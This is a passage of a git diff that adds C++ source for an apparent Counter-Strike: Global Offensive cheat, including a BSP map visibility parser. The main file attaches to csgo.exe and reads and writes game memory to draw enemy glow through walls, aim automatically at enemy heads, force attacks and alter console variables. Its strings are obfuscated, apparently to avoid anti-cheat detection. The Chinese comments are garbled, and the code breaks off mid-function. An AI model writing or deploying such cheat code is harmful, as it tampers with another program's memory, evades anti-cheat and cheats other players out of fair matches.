map_name.data()); $$$; +#endif + + return true; $$$; + } + + bool parse_planes( + std::ifstream& file + ) + { + std::vector planes; $$$; + if (!parse_lump(file, valve::lump_index::planes, planes)) { + return false; $$$; + } + + _planes.resize(planes.size()); $$$; + + for (std::size_t i = 0; i < planes.size(); ++i) { + auto& out = _planes.at(i); $$$; + const auto& in = planes.at(i); $$$; + + auto plane_bits = 0; $$$; + for (std::size_t j = 0; j < 3; ++j) { + out.normal(j) = in.normal(j); $$$; + if (out.normal(j) < 0.f) { + plane_bits |= 1 << static_cast(j); $$$; + } + } + + out.distance = in.distance; $$$; + out.type = static_cast(in.type); $$$; + out.sign_bits = static_cast(plane_bits); $$$; + } + + return true; $$$; + } + + bool parse_nodes( + std::ifstream& file + ) + { + std::vector nodes; $$$; + if (!parse_lump(file, valve::lump_index::nodes, nodes)) { + return false; $$$; + } + + const auto num_nodes = nodes.size(); $$$; + _nodes.resize(num_nodes); $$$; + + for (std::size_t i = 0; i < num_nodes; ++i) { + const auto& in = nodes.at(i); $$$; + auto& out = _nodes.at(i); $$$; + + out.mins = in.mins; $$$; + out.maxs = in.maxs; $$$; + out.plane_num = in.plane_num; $$$; + out.plane = _planes.data() + in.plane_num; $$$; + out.first_face = in.first_face; $$$; + out.num_faces = in.num_faces; $$$; + + for (std::size_t j = 0; j < 2; ++j) { + const auto child_index = in.children.at(j); $$$; + out.children.at(j) = child_index; $$$; + + if (child_index >= 0) { + out.leaf_children = nullptr; $$$; + out.node_children = _nodes.data() + child_index; $$$; + } + else { + out.leaf_children = _leaves.data() + static_cast(-1 - child_index); $$$; + out.node_children = nullptr; $$$; + } + } + } + + return true; $$$; + } + + bool parse_leaffaces( + std::ifstream& file + ) + { + if (!parse_lump(file, valve::lump_index::leaf_faces, _leaf_faces)) { + return false; $$$; + } + + const auto num_leaffaces = _leaf_faces.size(); $$$; + if (num_leaffaces > valve::MAX_MAP_LEAFBRUSHES) { + printf(AY_OBFUSCATE("[!] map has to many leaffaces, parsed more than required...\n")); $$$; + } + else if (!num_leaffaces) { + printf(AY_OBFUSCATE("[!] map has no leaffaces to parse...\n")); $$$; + } + + return true; $$$; + } + + bool parse_leafbrushes( + std::ifstream& file + ) + { + if (!parse_lump(file, valve::lump_index::leaf_brushes, _leaf_brushes)) { + return false; $$$; + } + + const auto num_leaffaces = _leaf_faces.size(); $$$; + if (num_leaffaces > valve::MAX_MAP_LEAFBRUSHES) { + printf(AY_OBFUSCATE("[!] map has to many leafbrushes, parsed more than required...\n")); $$$; + } + else if (!num_leaffaces) { + printf(AY_OBFUSCATE("[!] map has no leafbrushes to parse...\n")); $$$; + } + + return true; + } + + bool parse_polygons() + { + _polygons.resize(_surfaces.size()); $$$; + + for (const auto& surface : _surfaces) { + const auto& first_edge = surface.first_edge; + const auto& num_edges = surface.num_edges; + + if (num_edges < 3 || static_cast(num_edges) > valve::MAX_SURFINFO_VERTS) { + continue; $$$; + } + if (surface.tex_info <= 0) { + continue; $$$; + } + + valve::polygon polygon; $$$; + vector3 edge; $$$; + + for (auto i = 0; i < num_edges; ++i) { + const auto edge_index = _surf_edges.at(first_edge + i); + if (edge_index >= 0) { + edge = _vertices.at(_edges[edge_index].v.at(0)).position; $$$; + } + else { + edge = _vertices.at(_edges[-edge_index].v.at(1)).position; $$$; + } + polygon.verts.at(i) = edge; $$$; + } + + polygon.num_verts = static_cast(num_edges); $$$; + polygon.plane.origin = _planes.at(surface.plane_num).normal; $$$; + polygon.plane.distance = _planes.at(surface.plane_num).distance; $$$; + _polygons.push_back(polygon); $$$; + } + + return true; $$$; + } + + void ray_cast_node( + const std::int32_t node_index, + const float start_fraction, + const float end_fraction, + const vector3& origin, + const vector3& destination, + valve::trace_t* out + ) + { + if (out->fraction <= start_fraction) { + return; $$$; + } + + if (node_index < 0) { + auto* leaf = &_leaves.at(static_cast(-node_index - 1)); $$$; + for (std::uint16_t i = 0; i < leaf->num_leafbrushes; ++i) { + const auto brush_index = static_cast(_leaf_brushes.at(leaf->first_leafbrush + i)); $$$; + auto* brush = &_brushes.at(brush_index); $$$; + if (!brush || !(brush->contents & valve::MASK_SHOT_HULL)) { + continue; $$$; + } + + ray_cast_brush(brush, origin, destination, out); $$$; + if (out->fraction == 0.f) { + return; $$$; + } + + out->brush = brush; $$$; + } + if (out->start_solid || out->fraction < 1.f) { + return; $$$; + } + for (std::uint16_t i = 0; i < leaf->num_leaffaces; ++i) { + ray_cast_surface(static_cast(_leaf_faces.at(leaf->first_leafface + i)), origin, destination, out); $$$; + } + return; + } + + auto* node = &_nodes.at(static_cast(node_index)); $$$; + if (!node) { + return; $$$; + } + auto* plane = node->plane; $$$; + if (!plane) { + return; $$$; + } + + float start_distance, end_distance; $$$; + + if (plane->type < 3) { + start_distance = origin(static_cast(plane->type)) - plane->distance; $$$; + end_distance = destination(static_cast(plane->type)) - plane->distance; $$$; + } + else { + start_distance = origin.dot(plane->normal) - plane->distance; $$$; + end_distance = destination.dot(plane->normal) - plane->distance; $$$; + } + + if (start_distance >= 0.f && end_distance >= 0.f) { + ray_cast_node(node->children.at(0), start_fraction, end_fraction, origin, destination, out); $$$; + } + else if (start_distance < 0.f && end_distance < 0.f) { + ray_cast_node(node->children.at(1), start_fraction, end_fraction, origin, destination, out); $$$; + } + else { + std::int32_t side_id; $$$; + float fraction_first, fraction_second; $$$; + vector3 middle; $$$; + + if (start_distance < end_distance) { + /// Back + side_id = 1; $$$; + const auto inversed_distance = 1.f / (start_distance - end_distance); $$$; + + fraction_first = (start_distance + FLT_EPSILON) * inversed_distance; $$$; + fraction_second = (start_distance + FLT_EPSILON) * inversed_distance; $$$; + } + else if (end_distance < start_distance) { + /// Front + side_id = 0; $$$; + const auto inversed_distance = 1.0f / (start_distance - end_distance); $$$; + + fraction_first = (start_distance + FLT_EPSILON) * inversed_distance; $$$; + fraction_second = (start_distance - FLT_EPSILON) * inversed_distance; $$$; + } + else { + /// Front + side_id = 0; $$$; + fraction_first = 1.f; $$$; + fraction_second = 0.f; $$$; + } + if (fraction_first < 0.f) { + fraction_first = 0.f; $$$; + } + else if (fraction_first > 1.f) { + fraction_first = 1.f; $$$; + } + if (fraction_second < 0.f) { + fraction_second = 0.f; $$$; + } + else if (fraction_second > 1.f) { + fraction_second = 1.f; $$$; + } + + auto fraction_middle = start_fraction + (end_fraction - start_fraction) * fraction_first; $$$; + for (std::size_t i = 0; i < 3; i++) { + middle(i) = origin(i) + fraction_first * (destination(i) - origin(i)); $$$; + } + + ray_cast_node(node->children.at(side_id), start_fraction, fraction_middle, origin, middle, out); $$$; + fraction_middle = start_fraction + (end_fraction - start_fraction) * fraction_second; $$$; + for (std::size_t i = 0; i < 3; i++) { + middle(i) = origin(i) + fraction_second * (destination(i) - origin(i)); $$$; + } + + ray_cast_node(node->children.at(!side_id), fraction_middle, end_fraction, middle, destination, out); $$$; + } + } + + void ray_cast_surface( + const std::int32_t surface_index, + const vector3& origin, + const vector3& destination, + valve::trace_t* out + ) + { + const auto index = static_cast(surface_index); $$$; + if (index >= _polygons.size()) { + return; $$$; + } + + auto* polygon = &_polygons.at(index); $$$; + auto* plane = &polygon->plane; $$$; + const auto dot1 = plane->dist(origin); $$$; + const auto dot2 = plane->dist(destination); $$$; + + if (dot1 > 0.f != dot2 > 0.f) { + if (dot1 - dot2 < valve::DIST_EPSILON) { + return; $$$; + } + + const auto t = dot1 / (dot1 - dot2); + if (t <= 0) { + return; $$$; + } + + std::size_t i = 0; $$$; + const auto intersection = origin + (destination - origin) * t; $$$; + for (; i < polygon->num_verts; ++i) { + auto* edge_plane = &polygon->edge_planes.at(i); $$$; + if (edge_plane->origin.is_zero()) { + edge_plane->origin = plane->origin - (polygon->verts.at(i) - polygon->verts.at((i + 1) % polygon->num_verts)); + edge_plane->origin.normalize(); + edge_plane->distance = edge_plane->origin.dot(polygon->verts.at(i)); + } + if (edge_plane->dist(intersection) < 0.0f) { + break; $$$; + } + } + if (i == polygon->num_verts) { + out->fraction = 0.2f; $$$; + out->end_pos = intersection; $$$; + } + } + } + + void ray_cast_brush( + valve::dbrush_t* brush, + const vector3& origin, + const vector3& destination, + valve::trace_t* out + ) const + { + if (brush->num_sides) { + auto fraction_to_enter = -99.f; $$$; + auto fraction_to_leave = 1.f; $$$; + auto starts_out = false; $$$; + auto ends_out = false; $$$; + for (auto i = 0; i < brush->num_sides; ++i) { + auto const* brush_side = &_brush_sides.at(brush->first_side + i); $$$; + if (!brush_side || brush_side->bevel) { + continue; $$$; + } + + auto const* plane = &_planes.at(brush_side->plane_num); $$$; + if (!plane) { + continue; $$$; + } + + const auto start_distance = origin.dot(plane->normal) - plane->distance; $$$; + const auto end_distance = destination.dot(plane->normal) - plane->distance; $$$; + if (start_distance > 0.f) { + starts_out = true; $$$; + if (end_distance > 0.f) { + return; $$$; + } + } + else { + if (end_distance <= 0.f) { + continue; $$$; + } + ends_out = true; $$$; + } + if (start_distance > end_distance) { + auto fraction = max((start_distance - valve::DIST_EPSILON), 0.f); $$$; + fraction = fraction / (start_distance - end_distance); $$$; + if (fraction > fraction_to_enter) { + fraction_to_enter = fraction; $$$; + } + } + else { + const auto fraction = (start_distance + valve::DIST_EPSILON) / (start_distance - end_distance); $$$; + if (fraction < fraction_to_leave) { + fraction_to_leave = fraction; $$$; + } + } + } + + if (starts_out) { + if (out->fraction_left_solid - fraction_to_enter > 0.f) { + starts_out = false; $$$; + } + } + + out->num_brush_sides = brush->num_sides; $$$; + + if (!starts_out) { + out->start_solid = true; $$$; + out->contents = brush->contents; $$$; + + if (!ends_out) { + out->all_solid = true; $$$; + out->fraction = 0.f; $$$; + out->fraction_left_solid = 1.f; $$$; + } + else { + if (fraction_to_leave != 1.f && fraction_to_leave > out->fraction_left_solid) { + out->fraction_left_solid = fraction_to_leave; $$$; + if (out->fraction <= fraction_to_leave) { + out->fraction = 1.f; $$$; + } + } + } + return; + } + + if (fraction_to_enter < fraction_to_leave) { + if (fraction_to_enter > -99.f && fraction_to_enter < out->fraction) { + if (fraction_to_enter < 0.f) { + fraction_to_enter = 0.f; $$$; + } + + out->fraction = fraction_to_enter; $$$; + out->brush = brush; $$$; + out->contents = brush->contents; $$$; + } + } + } + } + + template + _NODISCARD + bool parse_lump( + std::ifstream& file, + const valve::lump_index lump_index, + std::vector& out + ) const + { + const auto index = static_cast>(lump_index); $$$; + if (index >= _bsp_header.lumps.size()) { + return false; $$$; + } + + const auto& lump = _bsp_header.lumps.at(index); $$$; + const auto size = static_cast(lump.file_size) / sizeof(type); $$$; + + out.resize(size); $$$; + + file.seekg(lump.file_offset); $$$; + file.read(reinterpret_cast(out.data()), size * static_cast(sizeof(type))); $$$; + + return true; $$$; + } + + public: + + bool load_map( + const std::string& directory, + const std::string& map_name + ) + { + if (map_name == _map_name) { + return true; $$$; + } + + std::unique_lock lock(_mutex); $$$; + + std::string file_path; $$$; + if (!set_current_map(directory, map_name, file_path)) { + return false; $$$; + } + + std::ifstream file(file_path, std::ios_base::binary); $$$; + if (!file) { +#if defined(RN_BSP_PARSER_MESSAGES) + printf(AY_OBFUSCATE("[!] failed to open file: %s\n"), file_path.data()); $$$; +#endif + return false; $$$; + } + + try { + file.read(reinterpret_cast(&_bsp_header), sizeof(_bsp_header)); $$$; + +#if defined(RN_BSP_PARSER_MESSAGES) + printf(AY_OBFUSCATE("BSP version %d\n"), _bsp_header.version); $$$; +#endif + + if (!valve::has_valid_bsp_ident(_bsp_header.ident)) { +#if defined(RN_BSP_PARSER_MESSAGES) + printf(AY_OBFUSCATE("[!] %s isn't a (valid) .bsp file!\n"), map_name.data()); $$$; +#endif + return false; $$$; + } + + return parse_lump(file, valve::lump_index::vertices, _vertices) + && parse_planes(file) + && parse_lump(file, valve::lump_index::edges, _edges) + && parse_lump(file, valve::lump_index::surfedges, _surf_edges) + && parse_lump(file, valve::lump_index::leafs, _leaves) + && parse_nodes(file) + && parse_lump(file, valve::lump_index::faces, _surfaces) + && parse_lump(file, valve::lump_index::tex_info, _tex_infos) + && parse_lump(file, valve::lump_index::brushes, _brushes) + && parse_lump(file, valve::lump_index::brush_sides, _brush_sides) + && parse_leaffaces(file) + && parse_leafbrushes(file) + && parse_polygons() + ; + } + catch (...) { + return false; $$$; + } +} + + bool is_visible(const D3DXVECTOR3& origin, const D3DXVECTOR3& destination) + { + vector3 mc{ destination.x, destination.y, destination.z }; $$$; + vector3 c{ origin.x, origin.y, origin.z }; $$$; + std::shared_lock lock(_mutex); $$$; + valve::trace_t trace{}; $$$; + trace_ray(mc, c, &trace); $$$; + return !(trace.fraction < 1.f); $$$; + } + + void trace_ray( + const vector3& origin, + const vector3& final, + valve::trace_t* out + ) + { + if (!_planes.empty() && out) { + out->clear(); $$$; + out->fraction = 1.0f; $$$; + out->fraction_left_solid = 0.f; $$$; + + ray_cast_node(0, 0.f, 1.f, origin, final, out); $$$; + + if (out->fraction < 1.0f) { + for (std::size_t i = 0; i < 3; ++i) { + out->end_pos(i) = origin(i) + out->fraction * (final(i) - origin(i)); $$$; + } + } + else { + out->end_pos = final; $$$; + } + } + } + + private: + std::string _map_name; + valve::dheader_t _bsp_header; + std::vector _vertices; + std::vector _planes; + std::vector _edges; + std::vector _surf_edges; + std::vector _leaves; + std::vector _nodes; + std::vector _surfaces; + std::vector _tex_infos; + std::vector _brushes; + std::vector _brush_sides; + std::vector _leaf_faces; + std::vector _leaf_brushes; + std::vector _polygons; + mutable std::shared_timed_mutex _mutex; + }; +} + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/cheats.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/cheats.hpp" new file mode 100644 index 0000000..7130ee7 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/cheats.hpp" @@ -0,0 +1,759 @@ +#pragma once + +#include "address.hpp" +#include "memory.hpp" +#include "bsp_parser.hpp" + +enum CSWeaponID_t : uint16_t //enum ItemSchemaIndex_e +{ + WEAPON_NONE = 0, + + WEAPON_DEAGLE, + WEAPON_ELITE, + WEAPON_FIVESEVEN, + WEAPON_GLOCK, + WEAPON_AK47 = 7, + WEAPON_AUG, + WEAPON_AWP, + WEAPON_FAMAS, + WEAPON_G3SG1, + WEAPON_GALILAR = 13, + WEAPON_M249, + WEAPON_M4A1 = 16, + WEAPON_MAC10, + WEAPON_P90 = 19, + WEAPON_MP5SD = 23, + WEAPON_UMP45, + WEAPON_XM1014, + WEAPON_BIZON, + WEAPON_MAG7, + WEAPON_NEGEV, + WEAPON_SAWEDOFF, + WEAPON_TEC9, + WEAPON_TASER, + WEAPON_HKP2000, + WEAPON_MP7, + WEAPON_MP9, + WEAPON_NOVA, + WEAPON_P250, + WEAPON_SHIELD, + WEAPON_SCAR20, + WEAPON_SG556, + WEAPON_SSG08, + WEAPON_KNIFEGG, + WEAPON_KNIFE, + WEAPON_FLASHBANG, + WEAPON_HEGRENADE, + WEAPON_SMOKEGRENADE, + WEAPON_MOLOTOV, + WEAPON_DECOY, + WEAPON_INCGRENADE, + WEAPON_C4, + WEAPON_HEALTHSHOT = 57, + WEAPON_KNIFE_T = 59, + WEAPON_M4A1_SILENCER, + WEAPON_USP_SILENCER, + WEAPON_CZ75A = 63, + WEAPON_REVOLVER, + WEAPON_TAGRENADE = 68, + WEAPON_FISTS, + WEAPON_BREACHCHARGE, + WEAPON_TABLET = 72, + WEAPON_MELEE = 74, + WEAPON_AXE, + WEAPON_HAMMER, + WEAPON_SPANNER = 78, + WEAPON_KNIFE_GHOST = 80, + WEAPON_FIREBOMB, + WEAPON_DIVERSION, + WEAPON_FRAG_GRENADE, + WEAPON_SNOWBALL, + WEAPON_BUMPMINE, + WEAPON_BAYONET = 500, + WEAPON_KNIFE_FLIP = 505, + WEAPON_KNIFE_GUT, + WEAPON_KNIFE_KARAMBIT, + WEAPON_KNIFE_M9_BAYONET, + WEAPON_KNIFE_TACTICAL, + WEAPON_KNIFE_FALCHION = 512, + WEAPON_KNIFE_SURVIVAL_BOWIE = 514, + WEAPON_KNIFE_BUTTERFLY, + WEAPON_KNIFE_PUSH, + WEAPON_KNIFE_URSUS = 519, + WEAPON_KNIFE_GYPSY_JACKKNIFE, + WEAPON_KNIFE_STILETTO = 522, + WEAPON_KNIFE_WIDOWMAKER +}; + +class cheats +{ +private: + address m_address; //ַ + memory m_memory; //ڴ + rn::bsp_parser m_bsp; //ͼ + + std::string m_path; //CSGO· + + DWORD m_client; //ַ + DWORD m_engine; + DWORD m_vstdlib; + + DWORD dwLocalPlayer; + DWORD m_iTeamNum; + DWORD dwGlowObjectManager; + DWORD dwEntityList; + DWORD m_bGunGameImmunity; + DWORD m_iGlowIndex; + DWORD dwClientState; + DWORD dwClientState_Map; + DWORD dwClientState_MapDirectory; + DWORD dwGameDir; + DWORD m_vecOrigin; + DWORD m_vecViewOffset; + DWORD m_dwBoneMatrix; + DWORD m_aimPunchAngle; + DWORD dwClientState_ViewAngles; + DWORD m_iHealth; + DWORD dwForceAttack; + DWORD m_iItemDefinitionIndex; + DWORD dwForceAttack2; + DWORD m_bIsScoped; + DWORD m_hActiveWeapon; + DWORD dwForceBackward; + DWORD dwForceForward; + DWORD dwForceJump; + DWORD dwForceLeft; + DWORD dwForceRight; + DWORD m_fFlags; + DWORD m_lifeState; + DWORD interface_engine_cvar; + DWORD convar_name_hash_table; + DWORD m_iFOVStart; + +private: + /* ȡλ */ + D3DXVECTOR3 get_bone_pos(DWORD base, int index) + { + typedef struct { + float Matrix[3][4]; + } Matrix3x4_t; + + DWORD addr = m_memory.read(base + m_dwBoneMatrix); + if (addr) + { + Matrix3x4_t result = m_memory.read(addr + index * 0x30); + + return{ + result.Matrix[0][3], + result.Matrix[1][3], + result.Matrix[2][3] + }; + } + + return { }; + } + + /* ȡӪ */ + int get_team(DWORD base) + { + return m_memory.read(base + m_iTeamNum); + } + + /* ȡǹ״̬ */ + bool get_immunity(DWORD base) + { + return m_memory.read(base + m_bGunGameImmunity); + } + + /* ȡ״̬ */ + bool get_scoped(DWORD base) + { + return m_memory.read(base + m_bIsScoped); + } + + /* ȡ״̬ */ + bool get_two_scoped(DWORD base) + { + return 90 != m_memory.read(base + m_iFOVStart); + } + + /* ȡ״̬ */ + bool get_life_state(DWORD base) + { + int health = m_memory.read(base + m_iHealth); + unsigned char state = m_memory.read(base + m_lifeState); + return health && !state; + } + + /* ȡǷ */ + bool get_player_life(int index) + { + DWORD entity = m_memory.read(m_client + dwEntityList + index * 0x10); + if (entity == false) return false; + + return get_life_state(entity); + } + + /* жϵǰǷܿ */ + bool IsIDSniper(int m_iWeaponId) + { + switch (m_iWeaponId) + { + case WEAPON_AWP: + return true; + case WEAPON_G3SG1: + return true; + case WEAPON_SCAR20: + return true; + case WEAPON_SSG08: + return true; + default: + return false; + } + } + + /* жϵǰǷС */ + bool IsIDKnife(int m_iWeaponId) + { + switch (m_iWeaponId) + { + case WEAPON_KNIFE: + return true; + case WEAPON_KNIFEGG: + return true; + case WEAPON_KNIFE_T: + return true; + case WEAPON_KNIFE_GUT: + return true; + case WEAPON_KNIFE_FLIP: + return true; + case WEAPON_BAYONET: + return true; + case WEAPON_KNIFE_M9_BAYONET: + return true; + case WEAPON_KNIFE_KARAMBIT: + return true; + case WEAPON_KNIFE_TACTICAL: + return true; + case WEAPON_KNIFE_BUTTERFLY: + return true; + case WEAPON_KNIFE_FALCHION: + return true; + case WEAPON_KNIFE_PUSH: + return true; + case WEAPON_KNIFE_SURVIVAL_BOWIE: + return true; + default: + return false; + } + } + + /* жϵǰǷ */ + bool IsIDOther(int m_iWeaponId) + { + switch (m_iWeaponId) + { + case WEAPON_NONE: + return true; + case WEAPON_TASER: + return true; + case WEAPON_FLASHBANG: + return true; + case WEAPON_HEGRENADE: + return true; + case WEAPON_SMOKEGRENADE: + return true; + case WEAPON_MOLOTOV: + return true; + case WEAPON_DECOY: + return true; + case WEAPON_INCGRENADE: + return true; + case WEAPON_C4: + return true; + default: + return false; + } + } + + /* ȡǰ */ + short get_weapon_index(DWORD base) + { + int index = m_memory.read(base + m_hActiveWeapon) & 0xfff; + base = m_memory.read(m_client + dwEntityList + (index - 1) * 0x10); + return m_memory.read(base + m_iItemDefinitionIndex); + } + + /* Ƕ */ + D3DXVECTOR3 get_aimbot_angle(D3DXVECTOR3& vecOrigin, D3DXVECTOR3& vecOther) + { + D3DXVECTOR3 vecAngles{}; + D3DXVECTOR3 vecDelta = D3DXVECTOR3((vecOrigin[0] - vecOther[0]), (vecOrigin[1] - vecOther[1]), (vecOrigin[2] - vecOther[2])); + float hyp = sqrtf(vecDelta[0] * vecDelta[0] + vecDelta[1] * vecDelta[1]); + + float M_PI = 3.14159265358979323846f; + vecAngles[0] = (float)atan(vecDelta[2] / hyp) *(float)(180.f / M_PI); + vecAngles[1] = (float)atan(vecDelta[1] / vecDelta[0]) *(float)(180.f / M_PI); + vecAngles[2] = (float)0.f; + + if (vecDelta[0] >= 0.f) vecAngles[1] += 180.0f; + return vecAngles; + } + + /* Ƕȹһ */ + void angle_normalize(D3DXVECTOR3& vAngles) + { + for (int i = 0; i < 3; i++) + { + if (vAngles[i] < -180.0f) vAngles[i] += 360.0f; + if (vAngles[i] > 180.0f) vAngles[i] -= 360.0f; + } + + if (vAngles.x < -89.0f) vAngles.x = 89.0f; + if (vAngles.x > 89.0f) vAngles.x = 89.0f; + + vAngles.z = 0; + } + + /* */ + void clamp_angles(D3DXVECTOR3& vAngles) + { + while (vAngles.y < -180.0f) vAngles.y += 360.0f; + while (vAngles.y > 180.0f) vAngles.y -= 360.0f; + + if (vAngles.x < -89.0f) vAngles.x = 89.0f; + if (vAngles.x > 89.0f) vAngles.x = 89.0f; + + vAngles.z = 0; + } + + /* ȡַhash */ + int get_string_hash(const char* name) + { + struct help { int code[256]{ 0 }; }; + help buf = m_memory.read(m_vstdlib + convar_name_hash_table); + + int v2 = 0, v3 = 0, size = strlen(name); + for (int i = 0; i < size; i += 2) + { + v3 = buf.code[v2 ^ toupper(name[i])]; + if (i + 1 == size) break; + v2 = buf.code[v3 ^ toupper(name[i + 1])]; + } + return v2 | (v3 << 8); + } + + /* ȡĵַ */ + DWORD get_convar_address(const char* name) + { + int hash = get_string_hash(name); + DWORD convar_engine = m_memory.read(m_vstdlib + interface_engine_cvar); + if (convar_engine == 0) return 0; + + DWORD addr = m_memory.read(convar_engine + 0x34); + if (addr == 0) return 0; + + DWORD point = m_memory.read(addr + ((unsigned char)hash * 4)); + while (point) + { + if (m_memory.read(point) == hash) + { + DWORD convar_point = m_memory.read(point + 0x4); + if (convar_point) + { + struct help { char value[32]{ 0 }; }; + DWORD temp = m_memory.read(convar_point + 0xC); + if (temp) + { + help buf = m_memory.read(temp); + if (strcmp(buf.value, name) == 0) + return convar_point; + } + } + } + + point = m_memory.read(point + 0xC); + } + + return 0; + } + + /* ֵ */ + void set_convar_value(const char* name, int value) + { + DWORD addr = get_convar_address(name); + if (addr) m_memory.write(addr + 0x30, value ^ addr); + } + + /* */ + inline void mouse_left_down() + { + m_memory.write(m_client + dwForceAttack, true); + Sleep(5); + m_memory.write(m_client + dwForceAttack, false); + } + +public: + /* ȡǶ */ + D3DXVECTOR3 get_angle() + { + DWORD addr = m_memory.read(m_engine + dwClientState); + if (addr) + { + return m_memory.read(addr + dwClientState_ViewAngles); + } + return {}; + } + + /* ýǶ */ + void set_angle(D3DXVECTOR3& angle) + { + DWORD addr = m_memory.read(m_engine + dwClientState); + if (addr) + { + m_memory.write(addr + dwClientState_ViewAngles, angle); + } + } + +public: + cheats() {} + ~cheats() {} + + /* ʼ */ + bool initialize() + { + /* ԻȡCSGOID */ + if (m_memory.attach("csgo.exe") == false) return false; + std::cout << "[+] ǰϷID : " << m_memory.get_pid() << std::endl; + + /* Իȡַ */ + MODULEENTRY32 client = m_memory.find_module("client.dll"); + MODULEENTRY32 engine = m_memory.find_module("engine.dll"); + MODULEENTRY32 vstdlib = m_memory.find_module("vstdlib.dll"); + if (client.modBaseSize == 0 || engine.modBaseSize == 0 || vstdlib.modBaseSize == 0) return false; + m_client = (DWORD)client.modBaseAddr; + m_engine = (DWORD)engine.modBaseAddr; + m_vstdlib = (DWORD)vstdlib.modBaseAddr; + std::cout << "[+] clientַ : 0x" << std::hex << m_client << std::endl; + std::cout << "[+] engineַ : 0x" << std::hex << m_engine << std::endl; + std::cout << "[+] vstdlibַ : 0x" << std::hex << m_vstdlib << std::endl; + + /* Իȡַƫ */ + if (m_address.Initialize() == false) return false; + dwLocalPlayer = m_address.get_address("dwLocalPlayer"); + m_iTeamNum = m_address.get_address("m_iTeamNum"); + dwGlowObjectManager = m_address.get_address("dwGlowObjectManager"); + dwEntityList = m_address.get_address("dwEntityList"); + m_bGunGameImmunity = m_address.get_address("m_bGunGameImmunity"); + m_iGlowIndex = m_address.get_address("m_iGlowIndex"); + dwClientState = m_address.get_address("dwClientState"); + dwClientState_Map = m_address.get_address("dwClientState_Map"); + dwClientState_MapDirectory = m_address.get_address("dwClientState_MapDirectory"); + dwGameDir = m_address.get_address("dwGameDir"); + m_vecOrigin = m_address.get_address("m_vecOrigin"); + m_vecViewOffset = m_address.get_address("m_vecViewOffset"); + m_dwBoneMatrix = m_address.get_address("m_dwBoneMatrix"); + m_aimPunchAngle = m_address.get_address("m_aimPunchAngle"); + dwClientState_ViewAngles = m_address.get_address("dwClientState_ViewAngles"); + m_iHealth = m_address.get_address("m_iHealth"); + dwForceAttack = m_address.get_address("dwForceAttack"); + m_iItemDefinitionIndex = m_address.get_address("m_iItemDefinitionIndex"); + dwForceAttack2 = m_address.get_address("dwForceAttack2"); + m_bIsScoped = m_address.get_address("m_bIsScoped"); + m_hActiveWeapon = m_address.get_address("m_hActiveWeapon"); + dwForceBackward = m_address.get_address("dwForceBackward"); + dwForceForward = m_address.get_address("dwForceForward"); + dwForceJump = m_address.get_address("dwForceJump"); + dwForceLeft = m_address.get_address("dwForceLeft"); + dwForceRight = m_address.get_address("dwForceRight"); + m_fFlags = m_address.get_address("m_fFlags"); + m_lifeState = m_address.get_address("m_lifeState"); + interface_engine_cvar = m_address.get_address("interface_engine_cvar"); + convar_name_hash_table = m_address.get_address("convar_name_hash_table"); + m_iFOVStart = m_address.get_address("m_iFOVStart"); + + std::string temp = m_memory.read_string(m_engine + dwGameDir, 150); + m_path = temp.substr(0, strlen(temp.c_str())) + "\\maps"; + std::cout << "[+] ǰϷ· : " << m_path << std::endl; + + return true; + } + + /* µͼ */ + void update_map() + { + static std::string last_map = ""; + static bool state = false; + + DWORD addr = m_memory.read(m_engine + dwClientState); + if (addr) + { + std::string temp = m_memory.read_string(addr + dwClientState_Map, 64); + std::string current_map = temp.substr(0, strlen(temp.c_str())) + ".bsp"; + if (state == false || last_map != current_map) + { + last_map = current_map; + state = m_bsp.load_map(m_path, current_map); + std::cout << "[+] ǰϷͼ : " << last_map << " - " << (state == true ? "ɹ" : "ʧ") << std::endl; + Sleep(300); + } + } + } + + /* Թ */ + void glow() + { + /* ȡԼַ */ + DWORD local_player = m_memory.read(m_client + dwLocalPlayer); + if (local_player == 0) return; + + /* ȡԼ״̬ */ + if (get_life_state(local_player) == false) return; + + /* ȡԼӪ */ + int local_team = get_team(local_player); + + /* ȡԼ۾λ */ + D3DXVECTOR3 local_pos = m_memory.read(local_player + m_vecOrigin); + local_pos += m_memory.read(local_player + m_vecViewOffset); + + /* ȡԹ */ + DWORD glow_manager = m_memory.read(m_client + dwGlowObjectManager); + if (glow_manager == 0) return; + + /* */ + for (int i = 0; i < 64; i++) + { + /* ȡһַ */ + DWORD entity = m_memory.read(m_client + dwEntityList + i * 0x10); + if (entity == 0 || entity == local_player) continue; + + /* ȡѪ */ + if (get_life_state(entity) == false) continue; + + /* ȡӪ */ + int entity_team = get_team(entity); + if (entity_team == local_team) continue; + + /* ȡǹ״̬ */ + if (get_immunity(entity)) continue; + + /* ȡһԹ */ + int entity_glow = m_memory.read(entity + m_iGlowIndex); + + /* ȡͷ */ + D3DXVECTOR3 bone = get_bone_pos(entity, 8); + + /* ɫ */ + float color = 2.0f; + + /* жҿɼ״̬ */ + if (m_bsp.is_visible(local_pos, bone)) color = 0.0f; + + /* ʵֻԹ */ + m_memory.write(glow_manager + ((entity_glow * 0x38) + 0x4), 2.0f); + m_memory.write(glow_manager + ((entity_glow * 0x38) + 0x8), color); + m_memory.write(glow_manager + ((entity_glow * 0x38) + 0xc), 0.0f); + m_memory.write(glow_manager + ((entity_glow * 0x38) + 0x10), 0.5f); + + m_memory.write(glow_manager + ((entity_glow * 0x38) + 0x24), true); + m_memory.write(glow_manager + ((entity_glow * 0x38) + 0x25), false); + } + } + + /* */ + bool aimbot() + { + /* ȡԼַ */ + DWORD local_player = m_memory.read(m_client + dwLocalPlayer); + if (local_player == 0) return false; + + /* ȡԼ״̬ */ + if (get_life_state(local_player) == false) return false; + + /* һӽ */ + m_memory.write(local_player + 0x332c, 120); + + /* ȡǰ */ + short weapon_index = get_weapon_index(local_player); + if (IsIDKnife(weapon_index) || IsIDOther(weapon_index)) return false; + + /* ȡԼ۾λ */ + D3DXVECTOR3 local_pos = m_memory.read(local_player + m_vecOrigin); + local_pos += m_memory.read(local_player + m_vecViewOffset); + + /* ȡԼӪ */ + int local_team = get_team(local_player); + + /* */ + for (int i = 0; i < 64; i++) + { + /* ȡһַ */ + DWORD entity = m_memory.read(m_client + dwEntityList + i * 0x10); + if (entity == 0 || entity == local_player) continue; + + /* 